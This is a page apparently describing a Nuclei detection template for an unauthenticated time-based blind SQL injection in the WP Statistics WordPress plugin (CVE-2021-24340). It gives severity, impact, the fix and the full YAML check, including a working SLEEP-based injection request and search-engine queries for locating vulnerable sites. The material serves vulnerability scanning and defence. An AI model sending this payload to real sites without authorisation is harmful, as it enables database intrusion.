WordPress Statistics <13.0.8 - Blind SQL Injection

highseverity

7.5CVSS score

29.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WordPress Statistic plugin versions prior to version 13.0.8 are affected by an unauthenticated time-based blind SQL injection vulnerability.

Impact

Unauthenticated attackers can extract database contents via time-based blind SQL injection, potentially exposing sensitive WordPress configuration and user data.

Fix

Update to WordPress Statistics plugin version 13.0.8 or later to mitigate the vulnerability.

How to confirm it

Send: GET /wp-content/plugins/wp-statistics/readme.txt ; @timeout: 15s
Positive when: status_code_1 == 200 and contains(body_1, "WP Statistics") AND duration_2>=7 and status_code_2 == 500 and contains(body_2, ">WordPress &rsaquo; Error<") && contains(body_2, ">Your request is not valid.<")

Run it with nuclei: nuclei -id CVE-2021-24340 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24340

info:
  name: WordPress Statistics <13.0.8 - Blind SQL Injection
  author: lotusdll,j4vaovo
  severity: high
  description: WordPress Statistic plugin versions prior to version 13.0.8 are affected by an unauthenticated time-based blind SQL injection vulnerability.
  impact: |
    Unauthenticated attackers can extract database contents via time-based blind SQL injection, potentially exposing sensitive WordPress configuration and user data.
  remediation: |
    Update to WordPress Statistics plugin version 13.0.8 or later to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49894
    - https://www.wordfence.com/blog/2021/05/over-600000-sites-impacted-by-wp-statistics-patch/
    - https://github.com/Udyz/WP-Statistics-BlindSQL
    - https://wpscan.com/vulnerability/d2970cfb-0aa9-4516-9a4b-32971f41a19c
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24340
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24340
    cwe-id: CWE-89
    epss-score: 0.29776
    epss-percentile: 0.98213
    cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: veronalabs
    product: wp_statistics
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-statistics/
    fofa-query: body=/wp-content/plugins/wp-statistics/
    publicwww-query: /wp-content/plugins/wp-statistics/
    google-query: inurl:/wp-content/plugins/wp-statistics
  tags: time-based-sqli,cve2021,cve,wp-plugin,unauth,wpscan,wordpress,sqli,blind,edb,veronalabs,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 15s
        GET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(body_1, "WP Statistics")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 500'
          - 'contains(body_2, ">WordPress &rsaquo; Error<") && contains(body_2, ">Your request is not valid.<")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from